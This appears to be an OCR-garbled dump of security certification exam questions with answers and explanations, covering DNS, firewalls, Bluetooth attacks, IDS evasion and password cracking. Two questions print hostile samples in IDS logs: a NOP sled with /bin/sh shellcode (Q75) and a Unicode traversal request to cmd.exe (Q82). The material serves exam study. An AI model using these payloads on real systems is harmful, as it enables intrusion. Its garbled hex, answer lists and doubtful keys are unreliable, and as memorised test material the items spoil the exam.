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NEW QUESTION 1
- (Topic 1)
Which DNS resource record can indicate how long any "DNS poisoning” could last?

A. MX

B. SOA
C.NS

D. TIMEOUT

Answer: B

NEW QUESTION 2
- (Topic 1)
What two conditions must a digital signature meet?

A. Has to be the same number of characters as a physical signature and must be unique.
B. Has to be unforgeable, and has to be authentic.

C. Must be unigue and have special characters.

D. Has to be legible and neat.

Answer: B

NEW QUESTION 3

- (Topic 1)

PP is an attack type for a rogue Wi-Fi access point that appears to be a legitimate one offered on the premises, but actually has been set up to eavesdrop on
wireless communications. It is the wireless version of the phishing scam. An attacker fools wireless users into connecting a laptop or mobile phone to a tainted hot-
spot by posing as a legitimate provider. This type of attack may be used to steal the passwords of

unsuspecting users by either snooping the communication link or by phishing, which involves setting up a fraudulent web site and luring people there.??

Fill in the blank with appropriate choice.

A. Evil Twin Attack
B. Sinkhole Attack
C. Collision Attack
D. Signal Jamming Attack

Answer: A

Explanation:

https://en.wikipedia.org/wiki/Evil_twin_(wireless_networks)

An evil twin attack is a hack attack in which a hacker sets up a fake Wi-Fi network that

looks like a legitimate access point to steal victims?? sensitive details. Most often, the victims of such attacks are ordinary people like you and me.

The attack can be performed as a man-in-the-middle (MITM) attack. The fake Wi-Fi access point is used to eavesdrop on users and steal their login credentials or
other sensitive information. Because the hacker owns the equipment being used, the victim will have no idea that the hacker might be intercepting things like bank
transactions.

An evil twin access point can also be used in a phishing scam. In this type of attack, victims will connect to the evil twin and will be lured to a phishing site. It will
prompt them to enter their sensitive data, such as their login details. These, of course, will be sent straight to the hacker. Once the hacker gets them, they might
simply disconnect the victim and show that the server is temporarily unavailable.

ADDITION: It may not seem obvious what happened. The problem is in the question statement. The attackers were not Alice and John, who were able to connect
to the network without a password, but on the contrary, they were attacked and forced to connect to a fake network, and not to the real network belonging to Jane.

NEW QUESTION 4

- (Topic 1)

During a black-box pen test you attempt to pass IRC traffic over port 80/TCP from a

compromised web enabled host. The traffic gets blocked; however, outbound HTTP traffic is unimpeded. What type of firewall is inspecting outbound traffic?

A. Circuit

B. Stateful

C. Application

D. Packet Filtering

Answer: C

Explanation:

https://en.wikipedia.org/wiki/Internet_Relay Chat

Internet Relay Chat (IRC) is an application layer protocol that facilitates communication in text. The chat process works on a client/server networking model. IRC
clients are computer programs that users can install on their system or web-based applications running either locally in the browser or on a third-party server.
These clients communicate with chat servers to transfer messages to other clients.

IRC is a plaintext protocol that is officially assigned port 194, according to IANA. However, running the service on this port requires running it with root-level
permissions, which is inadvisable. As a result, the well-known port for IRC is 6667, a high-number port that does not require elevated privileges. However, an IRC
server can also be configured to run on other ports as well.

You can't tell if an IRC server is designed to be malicious solely based on port number. Still, if you see an IRC server running on port a WKP such as 80, 8080, 53,
443, it's almost always going to be malicious; the only real reason for IRCD to be running on port 80 is to try to evade firewalls.
https://en.wikipedia.org/wiki/Application_firewall

An application firewall is a form of firewall that controls input/output or system calls of an application or service. It operates by monitoring and blocking
communications based on a configured policy, generally with predefined rule sets to choose from. The application firewall can control communications up to the
OSI model's application layer, which is the highest operating layer, and where it gets its name. The two primary categories of application firewalls are network-
based and host-based.

Application layer filtering operates at a higher level than traditional security appliances. This allows packet decisions to be made based on more than just
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source/destination IP Addresses or ports. It can also use information spanning across multiple connections for any given host.

Network-based application firewalls

Network-based application firewalls operate at the application layer of a TCP/IP stack. They can understand certain applications and protocols such as File
Transfer Protocol (FTP), Domain Name System (DNS), or Hypertext Transfer Protocol (HTTP). This allows it

to identify unwanted applications or services using a non-standard port or detect if an allowed protocol is being abused.

Host-based application firewalls

A host-based application firewall monitors application system calls or other general system communication. This gives more granularity and control but is limited to
only protecting the host it is running on. Control is applied by filtering on a per-process basis. Generally, prompts are used to define rules for processes that have
not yet received a connection. Further filtering can be done by examining the process ID of the owner of the data packets. Many host-based application firewalls
are combined or used in conjunction with a packet filter.

NEW QUESTION 5

- (Topic 1)

Session splicing is an IDS evasion technique in which an attacker delivers data in multiple, small sized packets to the target computer, making it very difficult for an
IDS to detect the attack signatures. Which tool can be used to perform session splicing attacks?

A. tcpsplice
B. Burp

C. Hydra
D. Whisker

Answer: D

Explanation:

«Many IDS reassemble communication streams; hence, if a packet is not received within a reasonable period, many IDS stop reassembling and handling that
stream. If the application under attack keeps a session active for a longer time than that spent by the IDS on reassembling it, the IDS will stop. As a result, any
session after the IDS stops reassembling the sessions will be susceptible to malicious data theft by attackers. The IDS will not log any attack attempt after a
successful splicing attack. Attackers can use tools such as Nessus for session splicing attacks.»

Did you know that the EC-Council exam shows how well you know their official book? So, there is no "Whisker" in it. In the chapter "Evading IDS" -> "Session
Splicing”, the recommended tool for performing a session-splicing attack is Nessus. Where Wisker came from is not entirely clear, but | will assume the author of
the question found it while copying Wikipedia.

https://en.wikipedia.org/wiki/Intrusion_detection_system_evasion_techniques

One basic technique is to split the attack payload into multiple small packets so that the IDS must reassemble the packet stream to detect the attack. A simple way
of splitting packets is by fragmenting them, but an adversary can also simply craft packets with small payloads. The 'whisker' evasion tool calls crafting packets
with small payloads 'session splicing'.

By itself, small packets will not evade any IDS that reassembles packet streams. However, small packets can be further modified in order to complicate reassembly
and detection. One evasion technique is to pause between sending parts of the attack, hoping that the IDS will time out before the target computer does. A second
evasion technique is to send the packets out of order, confusing simple packet re-assemblers but not the target computer.

NOTE: Yes, | found scraps of information about the tool that existed in 2012, but | can not give you unverified information. According to the official tutorials, the
correct answer is Nessus, but if you know anything about Wisker, please write in the QA section. Maybe this question will be updated soon, but I'm not sure about
that.

NEW QUESTION 6
- (Topic 1)
Which mode of IPSec should you use to assure security and confidentiality of data within the same LAN?

A. ESP transport mode
B. ESP confidential
C. AH permiscuous
D. AH Tunnel mode

Answer: A

NEW QUESTION 7
- (Topic 1)
Which of the following is not a Bluetooth attack?

A. Bluedriving

B. Bluesmacking
C. Bluejacking
D. Bluesnarfing

Answer: A

Explanation:

https://github.com/verovaleros/bluedriving

Bluedriving is a bluetooth wardriving utility. It can capture bluetooth devices, lookup their services, get GPS information and present everything in a nice web page.
It can search for and show a lot of information about the device, the GPS address and the historic location of devices on a map. The main motivation of this tool is

to research about the targeted surveillance of people by means of its cellular phone or car. With this tool you can capture information about bluetooth devices and

show, on a map, the points where you have seen the same device in the past.

NEW QUESTION 8

- (Topic 1)

Bob is doing a password assessment for one of his clients. Bob suspects that security policies are not in place. He also suspects that weak passwords are
probably the norm throughout the company he is evaluating. Bob is familiar with password weaknesses and key loggers.

Which of the following options best represents the means that Bob can adopt to retrieve passwords from his clients hosts and servers?

A. Hardware, Software, and Sniffing.
B. Hardware and Software Keyloggers.
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C. Passwords are always best obtained using Hardware key loggers.
D. Software only, they are the most effective.

Answer: A

NEW QUESTION 9

- (Topic 1)

Bob, a system administrator at TPNQM SA, concluded one day that a DMZ is not needed if he properly configures the firewall to allow access just to servers/ports,
which can have direct internet access, and block the access to workstations.

Bob also concluded that DMZ makes sense just when a stateful firewall is available, which is not the case of TPNQM SA.

In this context, what can you say?

. Bob can be right since DMZ does not make sense when combined with stateless firewalls

. Bob is partially righ

. He does not need to separate networks if he can create rules bydestination IPs, one by one
. Bob is totally wron

. DMZ is always relevant when the company has internet servers and workstations

. Bob is partially righ

. DMZ does not make sense when a stateless firewall is available

GTMmMmoOm>

Answer: C

NEW QUESTION 10

- (Topic 1)

To determine if a software program properly handles a wide range of invalid input, a form of automated testing can be used to randomly generate invalid input in
an attempt to crash the program.

What term is commonly used when referring to this type of testing?

A. Randomizing
B. Bounding

C. Mutating

D. Fuzzing

Answer: D

NEW QUESTION 10

- (Topic 1)

If a token and 4-digit personal identification number (PIN) are used to access a computer system and the token performs off-line checking for the correct PIN, what
type of attack is possible?

A. Birthday

B. Brute force

C. Man-in-the-middle
D. Smurf

Answer: B

NEW QUESTION 11

- (Topic 1)

Peter, a Network Administrator, has come to you looking for advice on a tool that would help him perform SNMP enquires over the network.
Which of these tools would do the SNMP enumeration he is looking for? Select the best answers.

A. SNMPULil

B. SNScan

C. SNMPScan

D. Solarwinds IP Network Browser
E. NMap

Answer: ABD

NEW QUESTION 15

- (Topic 1)

Steve, a scientist who works in a governmental security agency, developed a technological solution to identify people based on walking patterns and implemented
this approach to a physical control access.

A camera captures people walking and identifies the individuals using Steve??s approach. After that, people must approximate their RFID badges. Both the
identifications are

required to open the door. In this case, we can say:

A. Although the approach has two phases, it actually implements just one authentication factor

B. The solution implements the two authentication factors: physical object and physical characteristic
C. The solution will have a high level of false positives

D. Biological motion cannot be used to identify people

Answer: B

NEW QUESTION 17
- (Topic 1)
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What is the known plaintext attack used against DES which gives the result that encrypting plaintext with one DES key followed by encrypting it with a second DES
key is no more secure than using a single key?

A. Man-in-the-middle attack
B. Meet-in-the-middle attack
C. Replay attack

D. Traffic analysis attack

Answer: B

Explanation:

https://en.wikipedia.org/wiki/Meet-in-the-middle_attack

The meet-in-the-middle attack (MITM), a known plaintext attack, is a generic space—time tradeoff cryptographic attack against encryption schemes that rely on
performing multiple encryption operations in sequence. The MITM attack is the primary reason why Double DES is not used and why a Triple DES key (168-bit)
can be bruteforced by an attacker with 256 space and 2112 operations.

The intruder has to know some parts of plaintext and their ciphertexts. Using meet-in-the- middle attacks it is possible to break ciphers, which have two or more
secret keys for multiple encryption using the same algorithm. For example, the 3DES cipher works in this way. Meet-in-the-middle attack was first presented by
Diffie and Hellman for cryptanalysis of DES algorithm.

NEW QUESTION 21
- (Topic 1)
Why would you consider sending an email to an address that you know does not exist within the company you are performing a Penetration Test for?

A. To determine who is the holder of the root account

B. To perform a DoS

C. To create needless SPAM

D. To illicit a response back that will reveal information about email servers and how they treat undeliverable mail
E. To test for virus protection

Answer: D

NEW QUESTION 23
- (Topic 1)
Which of the following tools are used for enumeration? (Choose three.)

A. Solarwinds
B. USER2SID
C. Cheops

D. SID2USER
E. DumpSec

Answer: BDE

NEW QUESTION 27

- (Topic 1)

You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist??s
email, and you send her an email changing the source email to her boss??s email (boss@company). In this email, you ask for a pdf with information. She reads
your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf,
saying that the links don??t work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network. What
testing method did you use?

A. Social engineering
B. Piggybacking

C. Tailgating

D. Eavesdropping

Answer: A

Explanation:

Social engineering is the term used for a broad range of malicious activities accomplished through human interactions. It uses psychological manipulation to trick
users into making security mistakes or giving away sensitive information.

Social engineering attacks typically involve some form of psychological manipulation, fooling otherwise unsuspecting users or employees into handing over
confidential or sensitive data. Commonly, social engineering involves email or other communication that invokes urgency, fear, or similar emotions in the victim,
leading the victim to promptly reveal sensitive information, click a malicious link, or open a malicious file. Because social engineering involves a human element,
preventing these attacks can be tricky for enterprises.

NEW QUESTION 29

- (Topic 1)

You have gained physical access to a Windows 2008 R2 server which has an accessible disc drive. When you attempt to boot the server and log in, you are
unable to guess the password. In your toolkit, you have an Ubuntu 9.10 Linux LiveCD. Which Linux-based tool can change any user??s password or activate
disabled Windows accounts?

A. John the Ripper
B. SET

C. CHNTPW

D. Cain & Abel

Answer: C
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NEW QUESTION 32

- (Topic 1)

Email is transmitted across the Internet using the Simple Mail Transport Protocol. SMTP does not encrypt email, leaving the information in the message vulnerable
to being read by an unauthorized person. SMTP can upgrade a connection between two mail servers to use TLS. Email transmitted by SMTP over TLS is
encrypted. What is the name of the command used by SMTP to transmit email over TLS?

A. OPPORTUNISTICTLS
B. UPGRADETLS

C. FORCETLS

D. STARTTLS

Answer: D

NEW QUESTION 37

- (Topic 1)

A hacker is an intelligent individual with excellent computer skills and the ability to explore a computer??s software and hardware without the owner??s permission.
Their intention can either be to simply gain knowledge or to illegally make changes.

Which of the following class of hacker refers to an individual who works both offensively and defensively at various times?

A. White Hat
B. Suicide Hacker
C. Gray Hat
D. Black Hat

Answer: C

NEW QUESTION 39

- (Topic 1)

One of your team members has asked you to analyze the following SOA record.

What is the TTL? Rutgers.edu.SOA NS1.Rutgers.edu ipad.college.edu (200302028 3600 3600 604800 2400.)

A. 200303028
B. 3600

C. 604800

D. 2400

E. 60

F. 4800

Answer: D

NEW QUESTION 42

- (Topic 1)

Tess King is using the nslookup command to craft queries to list all DNS information (such as Name Servers, host names, MX records, CNAME records, glue
records (delegation for child Domains), zone serial number, TimeToLive (TTL) records, etc) for a Domain.

What do you think Tess King is trying to accomplish? Select the best answer.

A. A zone harvesting
B. A zone transfer
C. A zone update

D. A zone estimate

Answer: B

NEW QUESTION 46
- (Topic 1)
What tool can crack Windows SMB passwords simply by listening to network traffic?

A. This is not possible
B. Netbus

C. NTFSDOS

D. LOphtcrack

Answer: D

NEW QUESTION 49

- (Topic 1)

Todd has been asked by the security officer to purchase a counter-based authentication system. Which of the following best describes this type of system?
A. A biometric system that bases authentication decisions on behavioral attributes.

B. A biometric system that bases authentication decisions on physical attributes.

C. An authentication system that creates one-time passwords that are encrypted with secret keys.

D. An authentication system that uses passphrases that are converted into virtual passwords.

Answer: C

NEW QUESTION 54
- (Topic 1)
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Your company was hired by a small healthcare provider to perform a technical assessment on the network.
What is the best approach for discovering vulnerabilities on a Windows-based computer?

A. Use the built-in Windows Update tool

B. Use a scan tool like Nessus

C. Check MITRE.org for the latest list of CVE findings
D. Create a disk image of a clean Windows installation

Answer: B

NEW QUESTION 58

- (Topic 1)

A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point. The computer is able to transfer files locally
to other machines, but cannot successfully reach the Internet. When the technician examines the IP address and default gateway they are both on the
192.168.1.0/24. Which of the following has occurred?

A. The computer is not using a private IP address.

B. The gateway is not routing to a public IP address.

C. The gateway and the computer are not on the same network.
D. The computer is using an invalid IP address.

Answer: B

Explanation:

https://en.wikipedia.org/wiki/Private_network

In IP networking, a private network is a computer network that uses private IP address space. Both the IPv4 and the IPv6 specifications define private IP address
ranges. These addresses are commonly used for local area networks (LANS) in residential, office, and enterprise environments.

Private network addresses are not allocated to any specific organization. Anyone may use these addresses without approval from regional or local Internet
registries. Private IP address spaces were originally defined to assist in delaying IPv4 address exhaustion. IP packets originating from or addressed to a private IP
address cannot be routed through the public Internet.

The Internet Engineering Task Force (IETF) has directed the Internet Assigned Numbers Authority (IANA) to reserve the following IPv4 address ranges for private
networks:

-10.0.0.0 — 10.255.255.255

-172.16.0.0 — 172.31.255.255

-192.168.0.0 — 192.168.255.255

Backbone routers do not allow packets from or to internal IP addresses. That is, intranet machines, if no measures are taken, are isolated from the Internet.
However, several technologies allow such machines to connect to the Internet.

- Mediation servers like IRC, Usenet, SMTP and Proxy server

- Network address translation (NAT)

- Tunneling protocol

NOTE: So, the problem is just one of these technologies.

NEW QUESTION 61

- (Topic 1)

User A is writing a sensitive email message to user B outside the local network. User A has chosen to use PKI to secure his message and ensure only user B can
read the sensitive

email. At what layer of the OSI layer does the encryption and decryption of the message take place?

A. Application
B. Transport

C. Session

D. Presentation

Answer: D

Explanation:

https://en.wikipedia.org/wiki/Presentation_layer

In the seven-layer OSI model of computer networking, the presentation layer is layer 6 and serves as the data translator for the network. It is sometimes called the
syntax layer. The presentation layer is responsible for the formatting and delivery of information to the application layer for further processing or display.
Encryption is typically done at this level too, although it can be done on the application, session, transport, or network layers, each having its own advantages and
disadvantages. Decryption is also handled at the presentation layer. For example, when logging on to bank account sites the presentation layer will decrypt the
data as it is received.

NEW QUESTION 62
- (Topic 1)
Which of the following algorithms can be used to guarantee the integrity of messages being sent, in transit, or stored?

A. symmetric algorithms
B. asymmetric algorithms
C. hashing algorithms

D. integrity algorithms

Answer: C

NEW QUESTION 67

- (Topic 1)

A new wireless client is configured to join a 802.11 network. This client uses the same hardware and software as many of the other clients on the network. The
client can see the network, but cannot connect. A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to the association
requests being sent by the wireless client. What is a possible source of this problem?
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A. The WAP does not recognize the client??s MAC address
B. The client cannot see the SSID of the wireless network
C. Client is configured for the wrong channel

D. The wireless client is not configured to use DHCP

Answer: A

Explanation:

https://en.wikipedia.org/wiki/MAC _filtering

MAC filtering is a security method based on access control. Each address is assigned a 48-bit address, which is used to determine whether we can access a
network or not. It helps in listing a set of allowed devices that you need on your Wi-Fi and the list of denied devices that you don??t want on your Wi-Fi. It helps in
preventing unwanted access to the network. In a way, we can blacklist or white list certain computers based on their MAC address. We can configure the filter to
allow connection only to those devices included in the white list. White lists provide greater security than blacklists because the router grants access only to
selected devices.

It is used on enterprise wireless networks having multiple access points to prevent clients from communicating with each other. The access point can be
configured only to allow clients to talk to the default gateway, but not other wireless clients. It increases the efficiency of access to a network.

The router allows configuring a list of allowed MAC addresses in its web interface, allowing you to choose which devices can connect to your network. The router
has several functions designed to improve the network's security, but not all are useful. Media access control may seem advantageous, but there are certain flaws.
On a wireless network, the device with the proper credentials such as SSID and password can authenticate with the router and join the network, which gets an IP
address and access to the internet and any shared resources.

MAC address filtering adds an extra layer of security that checks the device??s MAC address

against a list of agreed addresses. If the client??s address matches one on the router??s list, access is granted; otherwise, it doesn??t join the network.

NEW QUESTION 68
- (Topic 1)
Which of the following tools performs comprehensive tests against web servers, including dangerous files and CGIs?

A. Nikto
B. John the Ripper
C. Dsniff
D. Snort

Answer: A

Explanation:

https://en.wikipedia.org/wiki/Nikto_(vulnerability scanner)

Nikto is a free software command-line vulnerability scanner that scans web servers for dangerous files/CGls, outdated server software, and other problems. It
performs generic and server types specific checks. It also captures and prints any cookies received. The Nikto code itself is free software, but the data files it uses
to drive the program are not.

NEW QUESTION 71
- (Topic 1)
What is not a PCI compliance recommendation?

A. Use a firewall between the public network and the payment card data.

B. Use encryption to protect all transmission of card holder data over any public network.

C. Rotate employees handling credit card transactions on a yearly basis to different departments.
D. Limit access to card holder data to as few individuals as possible.

Answer: C

Explanation:
https://www.pcisecuritystandards.org/pci_security/maintaining_payment_security Build and Maintain a Secure Network
* 1. Install and maintain a firewall configuration to protect cardholder data.

* 2. Do not use vendor-supplied defaults for system passwords and other security parameters.
Protect Cardholder Data

* 3. Protect stored cardholder data.

* 4, Encrypt transmission of cardholder data across open, public networks.

Maintain a Vulnerability Management Program

* 5. Use and regularly update anti-virus software or programs.

* 6. Develop and maintain secure systems and applications.

Implement Strong Access Control Measures

* 7. Restrict access to cardholder data by business need-to-know.

* 8. Assign a unique ID to each person with computer access.

* 9. Restrict physical access to cardholder data.

Regularly Monitor and Test Networks

*10. Track and monitor all access to network resources and cardholder data.

* 11. Regularly test security systems and processes.

Maintain an Information Security Policy

* 12. Maintain a policy that addresses information security for employees and contractors.

NEW QUESTION 72
- (Topic 1)
Which of the following program infects the system boot sector and the executable files at the same time?

A. Polymorphic virus
B. Stealth virus
C. Multipartite Virus
D. Macro virus
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Answer: C

NEW QUESTION 75

- (Topic 1)

The following is an entry captured by a network IDS. You are assigned the task of analyzing this entry. You notice the value 0x90, which is the most common
NOOP instruction for the Intel processor. You figure that the attacker is attempting a buffer overflow attack.

You also notice "/bin/sh" in the ASCII part of the output. As an analyst what would you conclude about the attack?

45 00 01 ce 28 1e 40 00 32 06 96 92 dl 3a 18 09 86 9f 18 97 E..f[.E.Z...ﬁ: ......

06 38 02 03 6f 59 4f a9 01 af fe 78 SO 18 7d 78 76 dd 00 00 .8..0T0®. bxP.\)

Application “Calculator” “spath:..\dtsapps\calc\dcalc.exes” ™ ™ size 0.75in 0.25in 0.501in
0.05inxvY..

42 42 20 17 £f bt 21 £7 £f bt 22 £7 £f bt 23 17 £f bt S8 S8 BB =yg 'y "=y H- Y XX
S8 S8 S8 S8 S8 S8 S8 S8 S8 S8 S8 S8 S8 58 S8 S8 25 2e 32 32 XXXXXXXLXXAXIAXK%.22
34 75 25 33 30 30 24 6e 25 2e 32 31 33 75 25 33 30 31 24 fe 4ui300§n%.213u%301$n
73 65 63 75 25 33 30 32 24 6e 25 2e 31 39 32 75 25 33 30 33 secu%302$n%.192u%303
24 6e 90 S0 S0 90 90 90 90 90 90 S0 S0 90 90 90 90 90 90 90 $M.evvevvencecncanens
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 .vvvevvvevsnsnannens
90 90 S0 S0 S0 90 90 90 90 S0 S0 90 S0 90 90 90 90 90 90 90 ..vveeveensncnnnnenn
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ..evevevevnnsnnnnnns
90 90 90 S0 S0 90 90 90 90 90 90 S0 90 90 90 90 90 90 90 90 ..veveveervnsnnss y
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ...vvvvvevensnannnns
90 90 90 S0 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ..evveevevansnannans
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ..vvveevsrsnsannnnns
90 S0 90 S0 S0 90 90 S0 90 90 90 90 S0 90 90 90 90 90 90 90 ..veeeveoveasnnsnsns
90 90 90 S0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ..eveveeesensannnsns
90 90 31 d 31 c9 31 ¢cO b0 46 cd 80 89 e5 31 d2 b2 66 89 d0 ..101E1A°Fi..&10%£.D
31 ¢9 89 cb 43 89 Sd £8 43 89 5d £4 4b 89 4d fc 8d 4d £4 cd 1E.EC.)eoC.)6K.Mi.M6I
80 31 ¢9 89 45 £4 43 66 89 Sd ec 66 c7 45 ee Of 27 89 4d f0 .1E.E6CL.]ifCEi.'.M5
8d 45 ec 89 45 £8 c6 45 fc 10 89 d0 8d 4d £4 cd 80 89 d0 43 .Ei.EsEEu..D.M6I..DC
43 cd 80 89 A0 43 cd 80 89 ¢3 31 c9 b2 3f 89 d0 cd 80 89 a0 Ci..pCI..X1E*?.pI..D
41 c¢cd 80 eb 18 Se 89 75 08 31 cO 88 46 07 89 45 Oc b0 Ob 89 Af.&8.*.u.1A.F..E.°..
£3 8d 4d 08 8d 55 Oc cd 80 e8 e3 ff ff £ff 2f 62 69 6e 2f 73 6.M..U.I.éa¢yy/bin/s
68 Oa h.

EVENT4: [NOOP:X86] (tcp,dp=515,sp=1592)

A. The buffer overflow attack has been neutralized by the IDS

B. The attacker is creating a directory on the compromised machine

C. The attacker is attempting a buffer overflow attack and has succeeded
D. The attacker is attempting an exploit that launches a command-line shell

Answer: D

NEW QUESTION 78

- (Topic 1)

Which results will be returned with the following Google search query? site:target.com —
site:Marketing.target.com accounting

A. Results from matches on the site marketing.target.com that are in the domain target.com but do not include the word accounting.
B. Results matching all words in the query.

C. Results for matches on target.com and Marketing.target.com that include the word ??accounting??

D. Results matching ??accounting?? in domain target.com but not on the site Marketing.target.com

Answer: D

NEW QUESTION 81
- (Topic 1)
Which of the following is a low-tech way of gaining unauthorized access to systems?

A. Social Engineering
B. Eavesdropping

C. Scanning

D. Sniffing

Answer: A

NEW QUESTION 82
- (Topic 1)
Study the following log extract and identify the attack.
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12/26-07:0622:31.167035 207.219.207.240:1882 -> 17216.1.106:80

TCP TTL:13 TTL:50TOS:0x0 IP:53476 DFF

*RTAPTTY Sa2q: OxZ2BDPC107 Ack: OXICBOF186 Win: 0x2238 TcpLen: 20
47 45 S4 2D 2F 6D 73 61 64 63 2F 2E 2E CO AF 2E GET /msadce/.....
2B 2F 2B 28 CD AT 2F 2E-2F 2B 2B CO AFr 2FE 2B 2T ileniswisfssaiaiind
77 69 6E 6E 79 2F 73 79 73 79 6S 6D 33 32 2F 63 winnt/system3z/¢
6D 649 2E 65 78 6S 3F 2F 63 2B 649 69 72 2B 63 3Amnmd.exe?/c+dir+c:
5C 20 48 S9 Sq9 SO 2F 31 2E 31 OD DA 491 63 63 65 \ HTTP/1.1..Acce
70 74 3& 2D 69 6D 61 67 6S 2F 67 69 66 2C 20 69 pr: image/gif, 1
6D 61 67 65 2F 78 2D 78 62 69 74 6D 61 70 2C 20 mage/x-xbitmap
69 6D 61 67 65 2F 6A 70 65 67 2C 20 69 6D 61 67 image/jpey, imagy
65 2F 70 6 70 65 67 2C 20 61 70 70 6C 69 63 61 e/pipeyg, applica
74 69 6F 6E 2F 76 6E 64 2E 6D 73 2D 65 78 63 65 tion/vnd.ms-exce
6C 2C 20 61 70 70 6C 69 63 61 79 69 6F 6E 2F 6D 1, application/m
T3 77 6F 72 649 2C 20 61 70 70 6C 69 63 61 74 69 sword, applicati
6F 6E 2F 76 6E 64 2E 6D 73 2D 70 6F 7?7 65 72 70 on/vind.ies-powerp
6F 69 6E 79 2C 20 2A 2F 2A OD OA 41 63 63 65 70 oint, =/=..Accep
74 2D 4C 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 ozills/age: en-v
73 OD OA 62 6C 65 3B 20 4D 53 49 45 20 3S 2E 30 atible:prt-Encod)d
6E 67 3A 57 69 6E 64 6F 77 73 20 39 35 29 0D OA 1; Windo, deflat
65 OD OA 55 73 65 72 2D 41 67 65 6 74 3A 20 4D e..User-Agent: H
6F 7h 69 62 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 ozilla/4.0 (comp
61 79 69 62 6C 65 3B 20 49D 53 49 45 20 35S 2E 30 acible; MSIE 5.0
31 3B 20 57 69 6E 64 6F 77 73 20 39 35 29 0D 0OA 1; Windows 95)..
48 6F 73 79 33Xk 20 o6C 61 62 2E 7?7 69 72 65 74 72 Host: lib.bvxtrr
69 70 2E 6E 65 74 OD OA 43 o6F 6E 6E 65 63 749 69 1ip.org..Connectci
6F 6E 3& 2D 4B 63 65 70 2D 41 6C 69 76 65 OD Ok un: Keep-Alive,.
43 6F 6F 6B 69 65 3A 20 41 53 S0 53 45 53 53 49 Cookie: ASPSESSI
4F 4E 49 44 47 51 51 51 51 51 S54& 55 3D 4B 4E &aF ONIDGQQOQQQZU=KNO
48 4D 4F 44 41 4B S50 46 4F 50 48 4D 4C 41 S50 4E HMOJAKPFOPHMLAPN
49 46 49 496 42 OD OA OD 0OA 41 50 4E 49 46 49 46 IFIFB....APNIFIF
42 0D 04 OD 02 B....

A. Hexcode Attack

B. Cross Site Scripting

C. Multiple Domain Traversal Attack
D. Unicode Directory Traversal Attack

Answer: D

NEW QUESTION 86

- (Topic 1)

While using your bank??s online servicing you notice the following string in the URL bar:

??http: // www. MyPersonalBank. com/ account?id=368940911028389&Damount=10980&Camount=21??

You observe that if you modify the Damount & Camount values and submit the request, that data on the web page reflects the changes.
Which type of vulnerability is present on this site?

A. Cookie Tampering

B. SQL Injection

C. Web Parameter Tampering
D. XSS Reflection

Answer: C

NEW QUESTION 87
- (Topic 1)
Which definition among those given below best describes a covert channel?
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A. A server program using a port that is not well known.

B. Making use of a protocol in a way it is not intended to be used.

C. It is the multiplexing taking place on a communication link.

D. It is one of the weak channels used by WEP which makes it insecure

Answer: B

NEW QUESTION 90

- (Topic 1)

A large mobile telephony and data network operator has a data center that houses network elements. These are essentially large computers running on Linux. The
perimeter of the data center is secured with firewalls and IPS systems.

What is the best security policy concerning this setup?

A. Network elements must be hardened with user ids and strong password

B. Regular security tests and audits should be performed.

C. As long as the physical access to the network elements is restricted, there is no need for additional measures.

D. There is no need for specific security measures on the network elements as long as firewalls and IPS systems exist.
E. The operator knows that attacks and down time are inevitable and should have a backup site.

Answer: A

NEW QUESTION 91

- (Topic 1)

Susan has attached to her company's network. She has managed to synchronize her boss's sessions with that of the file server. She then intercepted his traffic
destined for the server, changed it the way she wanted to and then placed it on the server in his home directory.

What kind of attack is Susan carrying on?

A. A sniffing attack

B. A spoofing attack

C. A man in the middle attack
D. A denial of service attack

Answer: C

NEW QUESTION 95

- (Topic 1)

The company ABC recently contracts a new accountant. The accountant will be working with the financial statements. Those financial statements need to be
approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant
was not modified once he approved it. Which of the following options can be useful to ensure the integrity of the data?

A. The CFO can use a hash algorithm in the document once he approved the financial statements

B. The CFO can use an excel file with a password

C. The financial statements can be sent twice, one by email and the other delivered in USB and the accountant can compare both to be sure is the same
document

D. The document can be sent to the accountant using an exclusive USB for that document

Answer: A

NEW QUESTION 100

- (Topic 1)

Your company performs penetration tests and security assessments for small and medium- sized business in the local area. During a routine security assessment,
you discover information that suggests your client is involved with human trafficking.

What should you do?

A. Confront the client in a respectful manner and ask her about the data.

B. Copy the data to removable media and keep it in case you need it.

C. Ignore the data and continue the assessment until completed as agreed.
D. Immediately stop work and contact the proper legal authorities.

Answer: D

NEW QUESTION 103

- (Topic 1)

When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator??s Computer to
update the router configuration. What type of an alert is this?

A. False negative
B. True negative
C. True positive

D. False positive

Answer: D
Explanation:
True Positive - IDS referring a behavior as an attack, in real life it is True Negative - IDS referring a behavior not an attack and in real life it is not False Positive -

IDS referring a behavior as an attack, in real life it is not
False Negative - IDS referring a behavior not an attack, but in real life is an attack. False Negative - is the most serious and dangerous state of all !'!!
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NEW QUESTION 106
- (Topic 1)
What is the purpose of a demilitarized zone on a network?

A. To scan all traffic coming through the DMZ to the internal network

B. To only provide direct access to the nodes within the DMZ and protect the network behind it
C. To provide a place to put the honeypot

D. To contain the network devices you wish to protect

Answer: B

NEW QUESTION 110

- (Topic 1

P(ete:)extr)acts the SIDs list from Windows 2000 Server machine using the hacking tool "SIDExtractor". Here is the output of the SIDs:
5-1-5-21-1125394485-807628933-54978560-100Johns
5-1-5-21-1125394485-807628933-54978560-652Rebecca
5-1-5-21-1125394485-807628933-54978560-412Sheela
5-1-5-21-1125394485-807628933-54978560-999Shawn
5-1-5-21-1125394485-807628933-54978560-777Somia
5-1-5-21-1125394485-807628933-54978560-500chang
5-1-5-21-1125394485-807628933-54978560-555Micah

From the above list identify the user account with System Administrator privileges.

A. John

B. Rebecca
C. Sheela
D. Shawn
E. Somia
F. Chang
G. Micah

Answer: F

NEW QUESTION 113
